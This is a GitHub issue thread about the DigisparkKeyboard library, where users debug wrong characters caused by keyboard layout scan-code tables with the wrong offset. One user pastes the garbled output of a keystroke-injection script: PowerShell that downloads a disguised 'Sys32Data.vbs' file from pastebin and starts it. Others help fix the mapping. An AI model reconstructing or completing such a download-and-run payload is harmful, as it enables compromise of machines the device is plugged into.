ernesto-xload / DigisparkKeyboard

DigisparkKeyboard library with multiple layout support
GNU General Public License v3.0
89 stars 35 forks source link

Not working? #5

Open gloglas opened 4 years ago

gloglas commented 4 years ago

Hi I replaced the library and I get hgo]jk`]dd instead of powershell with default values & sketch. Any clues?

pbawn commented 4 years ago

Hello,

I bumped into the same issue and noticed that the ascii_to_scan_code_table variable is not defined in the same way for all provided layouts. Actually, the code in DigiKeyboard.h (see line 239) expects the table to start with ASCII code 8 instead of 0. The table is defined as expected in digi_es_es.h and digi_tr_tr.h, but not in the other layout files where it starts with ASCII code 0.

Consequently, if you use a keyboard layout other than es_es or tr_tr, deleting or commenting out the first eight items (with a 0x00 value) of the ascii_to_scan_codetable in the file digi[your_layout_id].h should do the trick. The table should start with 0x2a, // BS Backspace

gloglas commented 4 years ago

It works like a charm! Thanks for taking the time for me.

iklobato commented 4 years ago

Im using the imports in the format:

#define kbd_pt_pt
#include <DigiKeyboard.h>

But after commenting the lines in digi_pt_pt.h file this way:

const unsigned char ascii_to_scan_code_table[] PROGMEM = {
//  0x00,             // NUL
//  0x00,             // SOH
//  0x00,             // STX
//  0x00,             // ETX
//  0x00,             // EOT
//  0x00,             // ENQ
//  0x00,             // ACK
//  0x00,             // BEL
  0x2a,      // BS  Backspace
  0x2b,      // TAB  Tab
...

Im still getting something wrong, like this:

powershell
$client ) new;object System.Net.WebClient
$client.DownloadFile*@https@>&&pastebin.com&@,@Sys32Data.vbs@(
start Sys32Data.vbs

The caracters that im getting wrong are:

=
.
(
)
:
/
"
'

Someone know why Im getting this misplacing chars?

Im Running on Kali 2019.2 and using Arduino IDE 1.8.12

gloglas commented 4 years ago

Are you editing the right file? Are there any changes after commenting out the lines? Are you using corresponding layout with your script?

iklobato commented 4 years ago

Are you editing the right file? Are there any changes after commenting out the lines? Yes, at first my result was similar to gloglas: hgo]jk]dd` as a string for "Powershell"

After changing and removing the 0x00 caracters im getting the result above

Are you using corresponding layout with your script? Yes, to compile and upload my code im using pt keyboard pattern, i honestly dont know what im doing wrong

gloglas commented 4 years ago

I think you should find the offset. Try commenting out first 17 entries instead of 8. So @ should became /.

iklobato commented 4 years ago

Screenshot from 2020-04-14 21-09-21 I tried remove 8, 10, 17, n lines with 0x00 or not When I remove the first 17 or 'n' lines, i got a completely wrong string

:(

EDIT: How can I learn to CREATE a model based on this project? I also tried to transform the string to hexadecimal formats, with no success. Is it possible to create an digi_x_x.h file based on my needs?

aaattteee commented 2 years ago

Hello,

I bumped into the same issue and noticed that the ascii_to_scan_code_table variable is not defined in the same way for all provided layouts. Actually, the code in DigiKeyboard.h (see line 239) expects the table to start with ASCII code 8 instead of 0. The table is defined as expected in digi_es_es.h and digi_tr_tr.h, but not in the other layout files where it starts with ASCII code 0.

Consequently, if you use a keyboard layout other than es_es or tr_tr, deleting or commenting out the first eight items (with a 0x00 value) of the ascii_to_scan_codetable in the file digi[your_layout_id].h should do the trick. The table should start with 0x2a, // BS Backspace

Hey! What do I do here?: image

Can someone help me?